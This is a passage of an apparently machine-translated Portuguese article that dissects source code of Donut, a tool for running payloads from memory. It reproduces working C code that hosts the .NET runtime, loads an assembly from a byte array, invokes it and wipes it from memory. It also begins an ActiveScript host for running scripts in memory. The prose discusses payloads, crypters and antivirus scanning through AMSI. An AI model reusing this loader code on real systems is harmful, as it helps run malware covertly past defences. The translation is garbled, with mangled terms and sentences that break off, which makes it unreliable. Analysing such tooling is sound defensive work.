if(inst->api.CLRCreateInstance != NULL) {
DPRINT("CLRCreateInstance");
hr = inst->api.CLRCreateInstance(
(REFCLSID)&inst->xCLSID_CLRMetaHost,
(REFIID)&inst->xIID_ICLRMetaHost,
(LPVOID*)&pa->icmh);
if(SUCCEEDED(hr)) {
DPRINT("ICLRMetaHost::GetRuntime(\"%s\")", mod->runtime);
ansi2unicode(inst, mod->runtime, buf);
hr = pa->icmh->lpVtbl->GetRuntime(
pa->icmh, buf,
(REFIID)&inst->xIID_ICLRRuntimeInfo, (LPVOID)&pa->icri);
if(SUCCEEDED(hr)) {
DPRINT("ICLRRuntimeInfo::IsLoadable");
hr = pa->icri->lpVtbl->IsLoadable(pa->icri, &loadable);
if(SUCCEEDED(hr) && loadable) {
DPRINT("ICLRRuntimeInfo::GetInterface");
hr = pa->icri->lpVtbl->GetInterface(
pa->icri,
(REFCLSID)&inst->xCLSID_CorRuntimeHost,
(REFIID)&inst->xIID_ICorRuntimeHost,
(LPVOID)&pa->icrh);
DPRINT("HRESULT: %08lx", hr);
}
} else pa->icri = NULL;
} else pa->icmh = NULL;
}
if(FAILED(hr)) {
DPRINT("CLRCreateInstance failed. Trying CorBindToRuntime");
hr = inst->api.CorBindToRuntime(
NULL, // load whatever's available
NULL, // load workstation build
&inst->xCLSID_CorRuntimeHost,
&inst->xIID_ICorRuntimeHost,
(LPVOID*)&pa->icrh);
DPRINT("HRESULT: %08lx", hr);
}
if(FAILED(hr)) {
pa->icrh = NULL;
return FALSE;
}
DPRINT("ICorRuntimeHost::Start");
hr = pa->icrh->lpVtbl->Start(pa->icrh);
if(SUCCEEDED(hr)) {
DPRINT("Domain is %s", mod->domain);
ansi2unicode(inst, mod->domain, buf);
domain = inst->api.SysAllocString(buf);
DPRINT("ICorRuntimeHost::CreateDomain(\"%ws\")", buf);
hr = pa->icrh->lpVtbl->CreateDomain(
pa->icrh, domain, NULL, &pa->iu);
inst->api.SysFreeString(domain);
if(SUCCEEDED(hr)) {
DPRINT("IUnknown::QueryInterface");
hr = pa->iu->lpVtbl->QueryInterface(
pa->iu, (REFIID)&inst->xIID_AppDomain, (LPVOID)&pa->ad);
if(SUCCEEDED(hr)) {
sab.lLbound = 0;
sab.cElements = mod->len;
sa = inst->api.SafeArrayCreate(VT_UI1, 1, &sab);
if(sa != NULL) {
DPRINT("Copying %" PRIi32 " bytes of assembly to safe array", mod->len);
for(i=0, p=sa->pvData; i<mod->len; i++) {
p[i] = mod->data[i];
}
DPRINT("AppDomain::Load_3");
hr = pa->ad->lpVtbl->Load_3(
pa->ad, sa, &pa->as);
loaded = hr == S_OK;
DPRINT("HRESULT : %08lx", hr);
DPRINT("Erasing assembly from memory");
for(i=0, p=sa->pvData; i<mod->len; i++) {
p[i] = mod->data[i] = 0;
}
DPRINT("SafeArrayDestroy");
inst->api.SafeArrayDestroy(sa);
}
}
}
}
return loaded;
}
BOOL RunAssembly(PDONUT_INSTANCE inst, PDONUT_MODULE mod, PDONUT_ASSEMBLY pa) {
SAFEARRAY *sav=NULL, *args=NULL;
VARIANT arg, ret, vtPsa, v1={0}, v2;
DWORD i;
HRESULT hr;
BSTR cls, method;
ULONG cnt;
OLECHAR str[1]={0};
LONG ucnt, lcnt;
WCHAR **argv, buf[DONUT_MAX_NAME+1];
int argc;
DPRINT("Type is %s",
mod->type == DONUT_MODULE_NET_DLL ? "DLL" : "EXE");
// if this is a program
if(mod->type == DONUT_MODULE_NET_EXE) {
// get the entrypoint
DPRINT("MethodInfo::EntryPoint");
hr = pa->as->lpVtbl->EntryPoint(pa->as, &pa->mi);
if(SUCCEEDED(hr)) {
// get the parameters for entrypoint
DPRINT("MethodInfo::GetParameters");
hr = pa->mi->lpVtbl->GetParameters(pa->mi, &args);
if(SUCCEEDED(hr)) {
DPRINT("SafeArrayGetLBound");
hr = inst->api.SafeArrayGetLBound(args, 1, &lcnt);
DPRINT("SafeArrayGetUBound");
hr = inst->api.SafeArrayGetUBound(args, 1, &ucnt);
cnt = ucnt - lcnt + 1;
DPRINT("Number of parameters for entrypoint : %i", cnt);
// does Main require string[] args?
if(cnt != 0) {
// create a 1 dimensional array for Main parameters
sav = inst->api.SafeArrayCreateVector(VT_VARIANT, 0, 1);
// if user specified their own parameters, add to string array
if(mod->param[0] != 0) {
ansi2unicode(inst, mod->param, buf);
argv = inst->api.CommandLineToArgvW(buf, &argc);
// create 1 dimensional array for strings[] args
vtPsa.vt = (VT_ARRAY | VT_BSTR);
vtPsa.parray = inst->api.SafeArrayCreateVector(VT_BSTR, 0, argc);
// add each string parameter
for(i=0; i<argc; i++) {
DPRINT("Adding \"%ws\" as parameter %i", argv[i], (i + 1));
inst->api.SafeArrayPutElement(vtPsa.parray,
&i, inst->api.SysAllocString(argv[i]));
}
} else {
DPRINT("Adding empty string for invoke_3");
// add empty string to make it work
// create 1 dimensional array for strings[] args
vtPsa.vt = (VT_ARRAY | VT_BSTR);
vtPsa.parray = inst->api.SafeArrayCreateVector(VT_BSTR, 0, 1);
i=0;
inst->api.SafeArrayPutElement(vtPsa.parray,
&i, inst->api.SysAllocString(str));
}
// add string array to list of parameters
i=0;
inst->api.SafeArrayPutElement(sav, &i, &vtPsa);
}
v1.vt = VT_NULL;
v1.plVal = NULL;
DPRINT("MethodInfo::Invoke_3()\n");
hr = pa->mi->lpVtbl->Invoke_3(pa->mi, v1, sav, &v2);
DPRINT("MethodInfo::Invoke_3 : %08lx : %s",
hr, SUCCEEDED(hr) ? "Success" : "Failed");
if(sav != NULL) {
inst->api.SafeArrayDestroy(vtPsa.parray);
inst->api.SafeArrayDestroy(sav);
}
}
} else pa->mi = NULL;
} else {
ansi2unicode(inst, mod->cls, buf);
cls = inst->api.SysAllocString(buf);
if(cls == NULL) return FALSE;
DPRINT("Class: SysAllocString(\"%ws\")", buf);
ansi2unicode(inst, mod->method, buf);
method = inst->api.SysAllocString(buf);
DPRINT("Method: SysAllocString(\"%ws\")", buf);
if(method != NULL) {
DPRINT("Assembly::GetType_2");
hr = pa->as->lpVtbl->GetType_2(pa->as, cls, &pa->type);
if(SUCCEEDED(hr)) {
sav = NULL;
DPRINT("Parameters: %s", mod->param);
if(mod->param[0] != 0) {
ansi2unicode(inst, mod->param, buf);
argv = inst->api.CommandLineToArgvW(buf, &argc);
DPRINT("SafeArrayCreateVector(%li argument(s))", argc);
sav = inst->api.SafeArrayCreateVector(VT_VARIANT, 0, argc);
if(sav != NULL) {
for(i=0; i<argc; i++) {
DPRINT("Adding \"%ws\" as argument %i", argv[i], (i+1));
V_BSTR(&arg) = inst->api.SysAllocString(argv[i]);
V_VT(&arg) = VT_BSTR;
hr = inst->api.SafeArrayPutElement(sav, &i, &arg);
if(FAILED(hr)) {
DPRINT("SafeArrayPutElement failed.");
inst->api.SafeArrayDestroy(sav);
sav = NULL;
}
}
}
}
if(SUCCEEDED(hr)) {
DPRINT("Calling Type::InvokeMember_3");
hr = pa->type->lpVtbl->InvokeMember_3(
pa->type,
method, // name of method
BindingFlags_InvokeMethod |
BindingFlags_Static |
BindingFlags_Public,
NULL,
v1, // empty VARIANT
sav, // arguments to method
&ret); // return code from method
DPRINT("Type::InvokeMember_3 : %08lx : %s",
hr, SUCCEEDED(hr) ? "Success" : "Failed");
if(sav != NULL) {
inst->api.SafeArrayDestroy(sav);
}
}
}
inst->api.SysFreeString(method);
}
inst->api.SysFreeString(cls);
}
return TRUE;
}
VOID FreeAssembly(PDONUT_INSTANCE inst, PDONUT_ASSEMBLY pa) {
if(pa->type != NULL) {
DPRINT("Type::Release");
pa->type->lpVtbl->Release(pa->type);
pa->type = NULL;
}
if(pa->mi != NULL) {
DPRINT("MethodInfo::Release");
pa->mi->lpVtbl->Release(pa->mi);
pa->mi = NULL;
}
if(pa->as != NULL) {
DPRINT("Assembly::Release");
pa->as->lpVtbl->Release(pa->as);
pa->as = NULL;
}
if(pa->ad != NULL) {
DPRINT("AppDomain::Release");
pa->ad->lpVtbl->Release(pa->ad);
pa->ad = NULL;
}
if(pa->iu != NULL) {
DPRINT("IUnknown::Release");
pa->iu->lpVtbl->Release(pa->iu);
pa->iu = NULL;
}
if(pa->icrh != NULL) {
DPRINT("ICorRuntimeHost::Stop");
pa->icrh->lpVtbl->Stop(pa->icrh);
DPRINT("ICorRuntimeHost::Release");
pa->icrh->lpVtbl->Release(pa->icrh);
pa->icrh = NULL;
}
if(pa->icri != NULL) {
DPRINT("ICLRRuntimeInfo::Release");
pa->icri->lpVtbl->Release(pa->icri);
pa->icri = NULL;
}
if(pa->icmh != NULL) {
DPRINT("ICLRMetaHost::Release");
pa->icmh->lpVtbl->Release(pa->icmh);
pa->icmh = NULL;
}
}
A função LoadAssembly é responsável por carregar corretamente o arquivo executável .NET na memória virtual do processo, e a função RunAssembly é responsável por executá-lo. Na primeira delas, o dotnet framework é carregado primeiro usando a função CLRCreateInstance da biblioteca nativa do framework sob o nome mscoree.dll. Dois identificadores únicos são passados para esta função, o primeiro é o identificador da classe CLRMetaHost acessível via COM, o segundo é a interface ICLRMetaHost, que implementa a classe com o primeiro identificador. Em seguida, preste atenção em como os métodos da interface ICLRMetaHost serão chamados em Tse ortodoxo, ou seja, por ponteiro para um objeto de classe COM, o código recebe um ponteiro para vtable e chama o método desejado do ponteiro correspondente em vtable. Bem, você precisa se lembrar de passar este ponteiro como primeiro parâmetro. Sim, isso é uma espécie de auto-torção de ovos, se Donut fosse escrito em Pluses, o compilador faria com prazer essa construção incômoda para você. Mas pelo bem de Ce, devemos estar preparados para qualquer sofrimento. Assim, o código chama o método GetRuntime da interface ICLRMetaHost, solicitando a interface ICLRRuntimeInfo de um runtime específico, cuja versão é passada para os parâmetros de chamada do método. Em seguida, ele verifica se o tempo de execução especificado pode ser carregado usando o método IsLoadable e, se for possível, a classe CorRuntimeHost é inicializada e sua interface ICorRuntimeHost é obtida (claro, por seus identificadores exclusivos, isso é COM afinal ). Em seguida, o código verifica se conseguiu executar todas essas ações e, se não, tenta inicializar CorRuntimeHost usando aquele exportado de mscoree.
Provavelmente, neste momento você tem uma pergunta, por que existem duas funções diferentes que fazem essencialmente a mesma coisa, certo? Não, não foi? Bem, eu vou te dizer de qualquer maneira. Existem duas versões diferentes do tempo de execução no dotnet desktop: o antigo - versão 2.0 e como novo - versão 4.0 (bem, era novo antes de qualquer vaca dotnet e dotnets 5.0 e 6.0). Dotnet frameworks 2.0, 3.0 e 3.5 funcionam na versão 2.0 runtime. Todos os frameworks funcionam em runtime 4.0, desde a versão 4.0 (inclusive) até a versão 5.0 (não inclusive, 5.0 já funciona em um runtime mais moderno e jovem). Portanto, a função CLRCreateInstance é uma nova função que apareceu no tempo de execução 4.0. Com sua ajuda, em teoria, você pode inicializar qualquer versão do framework. No entanto, se o runtime 4.0 não estiver instalado no sistema, ele deverá falhar, e, portanto, você pode tentar executar a carga útil no tempo de execução 2.0, nunca se sabe, pode ter sorte e funcionará. Sim, hoje em dia encontrar um sistema Windows sem dotnet runtime 4.0 instalado é uma tarefa muito difícil, mas quero lembrar que o Windows 7 veio com a versão 2.0 runtime pré-instalada, então que diabos não é brincadeira.
Tendo recebido a classe CorRuntimeHost inicializada, o código tenta executá-la usando o método Start. Em seguida, um novo AppDomain é criado usando o método CreateDomain para carregamento subsequente do Assembly a partir da memória. A presença de um novo (e não o padrão) AppDomain pode ser útil, pois no dotnet é impossível descarregar o Assembly da memória virtual, caso em que você pode descarregar apenas o AppDomain inteiro e o AppDomain padrão não pode ser descarregado, pois suas classes são utilizadas pelo próprio runtime e acaba sendo uma espécie de círculo fechado. Como resultado da chamada de CreateDomain, retornamos um ponteiro para sua interface IUnknown, portanto, precisamos solicitar a interface do AppDomain diretamente através da interface IUnknown e do método QueryInterface (claro, por seu identificador exclusivo). Tendo acessado a interface AppDomain, agora o código pode chamar o método Load_3 na interface e passar a carga para lá. Mas para passar um array de bytes, você não pode simplesmente passar um ponteiro para o seu início, o COM exige que criemos um SafeArray e passemos os dados como estão. As funções WinAPI SafeArrayCreate e SafeArrayDestroy são usadas para isso. Se a carga for carregada com sucesso na memória virtual do processo, o método Load_3 retorna um ponteiro para a interface Assembly, com a qual o trabalho adicional ocorrerá na função RunAssembly de nosso Donut.
Provavelmente, também vale a pena contar por que o método de carregar um Assembly a partir de uma matriz de bytes se chama Load_3, e não apenas Load, como, de fato, acontece no Sharps. O fato é que em Sharps and Pluses existe um recurso tão divertido como sobrecarga de método. O ponto principal é que os métodos podem ter o mesmo nome se tiverem um conjunto diferente de parâmetros. Infelizmente (ou felizmente), Sishechka, VBScript, JScript e algumas outras linguagens não possuem esse recurso. Mas de alguma forma a interação entre as linguagens COM teve que ser ajustada. E eles (small-soft) criaram a seguinte convenção, métodos com os mesmos nomes em Sharps, quando usados em uma interoperabilidade COM, simplesmente terão nomes diferentes, e cada próximo deles será fornecido com o sufixo _N, onde N é o número ordinal do método atual entre todos aqueles com o mesmo nome de método. Parece lógico.
Na função RunAssembly, temos duas opções possíveis: a primeira é se o payload for um arquivo executável (executable), a segunda é se o payload for uma biblioteca dinâmica (dll). De fato, para dotnet Assembly não há diferença significativa se o assembly é enquadrado em um executável ou em uma dll, em ambos os casos eles podem ser carregados na memória e qualquer método de qualquer classe (incluindo os privados) pode ser chamado por Reflection. Provavelmente, apenas a diferença na presença de um ponto de entrada (o método estático público Main) pode ser considerada significativa. Todas as outras ações que o Donut realiza para lançar o Assembly são o uso de métodos do pré-Net Reflection. Ou seja, exatamente a mesma coisa que você faria no Sharps para atingir exatamente os mesmos objetivos.
Para o executável, o código chama o método EntryPoint do Assembly recebido. Este método retorna informações sobre o ponto de entrada do Assembly como um objeto do tipo MethodInfo. Em seguida, o método GetParameters é chamado neste objeto, este é um array de argumentos de ponto de entrada. É claro que o COM retornará esse array para nós na forma de um SafeArray (arrays Cs comuns são como UnsafeArray). Em seguida, o código obtém o primeiro (LBound) e o último (UBound) índice do SafeArray resultante (no SafeArray, a indexação do elemento pode não começar do zero). Com base no primeiro e no último índice, o código obtém o número de argumentos do ponto de entrada, determinando assim se a carga deseja receber argumentos de linha de comando ou não. Se a carga quiser recebê-los, o código formará um novo SafeArray com argumentos; caso contrário, ele permanecerá nulo.
Para uma dll, os parâmetros shellcode especificam qual método de qual classe chamar como o ponto de entrada da carga útil. Observe que o COM picky exige que, mesmo para strings, usemos contêineres BSTR especiais que são alocados com SysAllocString e liberados com SysFreeString. Em seguida, o código localiza a classe necessária por seu nome usando o método GetType_2 e converte os argumentos para chamar esse método dos parâmetros do shellcode em SafeArrays compatíveis com COM. Chamar o método de classe de carga diretamente é feito usando o método Invoke_3. Ao mesmo tempo, vale a pena notar que um método público estático é chamado, mas, em princípio, nada nos impede de modificar o código dessa maneira,
Bem, tudo parece estar com a parte dotnet. Por fim, algumas observações adicionais. Lembre-se de liberar todos os objetos COM criados depois que você não precisar mais deles, ou seja, chame o método Release. Ainda assim, Tse e Pluses não são Sharps e Petons para você, o coletor de lixo não vai limpar depois de você aqui. O código que acabamos de ver também pode ser visto nos scripts nativos para executáveis dotnet. Curiosamente, algumas pessoas que vendem tais criptomoedas não estão cientes de que, desde a versão 4.8 do dotnet framework, todas as chamadas diretas e indiretas para Assembly.Load resultam no envio de uma carga útil para varredura antivírus por meio da tecnologia AMSI. E é engraçado o suficiente. Os autores dos criptografadores usam alguns ofuscadores complicados para ofuscar o código nativo e a carga útil protegida por esse criptografador de forma limpa e aberta, ainda é enviado ao antivírus para verificação. O autor do Donut estava bem ciente disso, mas falaremos sobre isso um pouco mais tarde.
6. Execute JScript/VBScript da memória
Lembremos que na própria Venda, os interpretadores JScript e VBScript estão presentes em vários lugares. Como scripts separados iniciados usando os utilitários wscript.exe e cscript.exe, dentro de arquivos HTA iniciados pelo utilitário mshta.exe, como objetos COM que scrobj.dll inicializa a partir de arquivos SCT e assim por diante. É lógico supor que ambos os interpretadores são implementados como bibliotecas dinâmicas e estão integrados com todos esses diferentes utilitários por meio de algumas interfaces. Os pequenos e macios não duplicarão o mesmo código em vários utilitários separados. E, de fato, tudo é assim, uma tecnologia tão universal para executar scripts é chamada de "ActiveScripting" e é baseada em nossa amada tecnologia COM. Além das linguagens VBScript e JScript pré-instaladas no sistema operacional, existem vários outros interpretadores que
Na terminologia ActiveScripting, um aplicativo que deseja executar uma das linguagens de script internamente é chamado de "host" (host) e uma ou mais bibliotecas que implementam a interpretação de uma linguagem de script são chamadas de "motor". No contexto deste artigo, não estamos particularmente interessados na estrutura interna de um dos mecanismos, mas consideraremos como o host funciona com mais detalhes. Para carregar e usar qualquer mecanismo de script, o host deve implementar pelo menos duas interfaces COM: IActiveScriptSite e IActiveScriptSiteWindow. No total, essas interfaces são relativamente grandes, mas muitas de suas funções na verdade não precisam ser implementadas se precisarmos apenas executar algum script da memória, e não nos preocupamos com o tratamento detalhado de erros de sua execução, estendendo o interpretador com novos objetos, e assim por diante. Você pode sobreviver com stubs. Vamos dar uma olhada em como o autor de Donut implementa essas duas interfaces.
C:
// initialize virtual function table
static VOID ActiveScript_New(PDONUT_INSTANCE inst, IActiveScriptSite *this) {
MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;
// Initialize IUnknown
mas->site.lpVtbl->QueryInterface = ADR(LPVOID, ActiveScript_QueryInterface);
mas->site.lpVtbl->AddRef = ADR(LPVOID, ActiveScript_AddRef);
mas->site.lpVtbl->Release = ADR(LPVOID, ActiveScript_Release);
// Initialize IActiveScriptSite
mas->site.lpVtbl->GetLCID = ADR(LPVOID, ActiveScript_GetLCID);
mas->site.lpVtbl->GetItemInfo = ADR(LPVOID, ActiveScript_GetItemInfo);
mas->site.lpVtbl->GetDocVersionString = ADR(LPVOID, ActiveScript_GetDocVersionString);
mas->site.lpVtbl->OnScriptTerminate = ADR(LPVOID, ActiveScript_OnScriptTerminate);
mas->site.lpVtbl->OnStateChange = ADR(LPVOID, ActiveScript_OnStateChange);
mas->site.lpVtbl->OnScriptError = ADR(LPVOID, ActiveScript_OnScriptError);
mas->site.lpVtbl->OnEnterScript = ADR(LPVOID, ActiveScript_OnEnterScript);
mas->site.lpVtbl->OnLeaveScript = ADR(LPVOID, ActiveScript_OnLeaveScript);
mas->site.m_cRef = 0;
mas->inst = inst;
}
#ifdef DEBUG
// try resolve interface name for IID
PWCHAR iid2interface(PWCHAR riid) {
LSTATUS s;
HKEY hk;
WCHAR subkey[128];
static WCHAR name[128];
DWORD len = ARRAYSIZE(name);
// check under HKEY_CLASSES_ROOT\Interface\ for name
swprintf(subkey, ARRAYSIZE(subkey), L"Interface\\%s", riid) ;
s = SHGetValueW(
HKEY_CLASSES_ROOT,
subkey,
NULL,
0,
name,
&len);
if(s != ERROR_SUCCESS) return L"Not found";
return name;
}
#endif
static STDMETHODIMP ActiveScript_QueryInterface(IActiveScriptSite *this, REFIID riid, void **ppv) {
MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;
#ifdef DEBUG
OLECHAR *iid;
HRESULT hr;
hr = StringFromIID(riid, &iid);
if(hr == S_OK) {
DPRINT("IActiveScriptSite::QueryInterface(%ws (%ws))", iid, iid2interface(iid));
CoTaskMemFree(iid);
} else {
DPRINT("StringFromIID failed");
}
#endif
if(ppv == NULL) return E_POINTER;
// we implement the following interfaces
if(IsEqualIID(&mas->inst->xIID_IUnknown, riid) ||
IsEqualIID(&mas->inst->xIID_IActiveScriptSite, riid))
{
DPRINT("Returning interface to IActiveScriptSite");
*ppv = (LPVOID)this;
ActiveScript_AddRef(this);
return S_OK;
} else if(IsEqualIID(&mas->inst->xIID_IActiveScriptSiteWindow, riid)) {
DPRINT("Returning interface to IActiveScriptSiteWindow");
*ppv = (LPVOID)&mas->siteWnd;
ActiveScriptSiteWindow_AddRef(&mas->siteWnd);
return S_OK;
}
DPRINT("Returning E_NOINTERFACE");
*ppv = NULL;
return E_NOINTERFACE;
}
static STDMETHODIMP_(ULONG) ActiveScript_AddRef(IActiveScriptSite *this) {
MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;
_InterlockedIncrement(&mas->site.m_cRef);
DPRINT("IActiveScriptSite::AddRef : m_cRef : %i\n", mas->site.m_cRef);
return mas->site.m_cRef;
}
static STDMETHODIMP_(ULONG) ActiveScript_Release(IActiveScriptSite *this) {
MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;
ULONG ulRefCount = _InterlockedDecrement(&mas->site.m_cRef);
DPRINT("IActiveScriptSite::Release : m_cRef : %i\n", ulRefCount);
return ulRefCount;
}
static STDMETHODIMP ActiveScript_GetItemInfo(IActiveScriptSite *this,
LPCOLESTR objectName, DWORD dwReturnMask,
IUnknown **objPtr, ITypeInfo **ppti)
{
MyIActiveScriptSite *mas = (MyIActiveScriptSite*)this;
DPRINT("IActiveScriptSite::GetItemInfo(objectName=%p, dwReturnMask=%08lx)",
objectName, dwReturnMask);
if(dwReturnMask & SCRIPTINFO_ITYPEINFO) {
DPRINT("Caller is requesting SCRIPTINFO_ITYPEINFO.");
if(ppti == NULL) return E_POINTER;
mas->wscript.lpTypeInfo->lpVtbl->AddRef(mas->wscript.lpTypeInfo);
*ppti = mas->wscript.lpTypeInfo;
}
if(dwReturnMask & SCRIPTINFO_IUNKNOWN) {
DPRINT("Caller is requesting SCRIPTINFO_IUNKNOWN.");
if(objPtr == NULL) return E_POINTER;
mas->wscript.lpVtbl->AddRef(&mas->wscript);
*objPtr = (IUnknown*)&mas->wscript;
}
return S_OK;
}
static STDMETHODIMP ActiveScript_OnScriptError(IActiveScriptSite *this,
IActiveScriptError *scriptError)
{
DPRINT("IActiveScriptSite::OnScriptError");
EXCEPINFO ei;
DWORD dwSourceContext = 0;
ULONG ulLineNumber